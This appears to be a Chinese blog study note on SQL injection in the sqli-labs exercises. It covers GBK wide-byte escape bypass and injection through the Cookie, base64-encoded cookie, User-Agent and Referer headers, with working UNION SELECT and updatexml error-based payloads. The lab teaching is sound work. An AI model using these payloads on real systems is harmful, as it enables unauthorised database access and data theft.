sql注入的其他注入

1.宽字节注入

原因 绕过单双引号转义

?id=1

?id=1'

1\' 服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。

315c27 非常强烈的暗示

代码

单双引号转义 并且编码变成了gbk

上编码 表

这个是GBK编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

双字节编码,两个字节作为一个汉字。GBK 编码范围8140,FEFE,注意到5C 在GBK 编码的低位范围之内40,FE。在5C 之前添加一个字符81,FE 之间,该字符就会和5c 组成一个汉字。

然后我们在单引号前面加个%cd就可以绕过

cb5c 5c前面加上cd都会得到一个新的字节 薥

?id=1%cb'

1%df\'

31cb5c27

1薥' # "吃"掉了转义字符\

/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+

http头部 注入

SQL 注入点不止会出现在GET 参数或POST 参数中,也会出现在cookie和user-agent中。

1.cookie注入 20管

Cookie: uname=Dumb' and 1=2 union select 1,version(),database() exp攻击

1.登录

2.利用

2.base64编码 22关

Dumb" and 1=2 union select 1,version(),database()#

RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=

用bp把字符转成base64编码

1.登录

加密

直接上

3.user-agent 注入

随便一个' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

4.referer注入

随便一个 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

相关推荐
贝锐25 分钟前
金仓、达梦、TDSQL全适配:向日葵补齐信创数据库层远程运维能力
运维·数据库·信创
xixiaoyunya1 小时前
Redis缓存三大问题实战:穿透、击穿、雪崩,我用一个电商秒杀场景讲清楚
数据库·redis·缓存
这个DBA有点耶2 小时前
Merge还是Materialize?一文讲透MySQL 8.0 CTE底层的执行计划博弈与性能陷阱
数据库·mysql·架构
Thanks_ks3 小时前
MySQL 的 REPEATABLE READ 到底能不能防幻读——从快照读、当前读到 Next-Key Lock
数据库·mysql·innodb·mvcc·锁机制·事务隔离级别·间隙锁
千桐科技3 小时前
qKnow智能体构建平台专业版 v3.1.5 发布:扩容工作流编排调用能力,上线Text2SQL插件,拓宽数据类智能应用构建边界
服务器·数据库·oracle·qknow
宇灬宇3 小时前
oracle直方图测试
数据库·oracle
Henry-SAP3 小时前
SAP PP中的核心业务流程——离散制造、重复制造、流程制造三大模式解析
前端·数据库·人工智能·制造
Pniubi4 小时前
mysql 一张表可以有多少列
数据库·mysql
阡陌数智4 小时前
Extended Thinking 深度拆解:Claude Opus 5.5 推理范式、Token 计费陷阱与 Agent 工程落地
数据库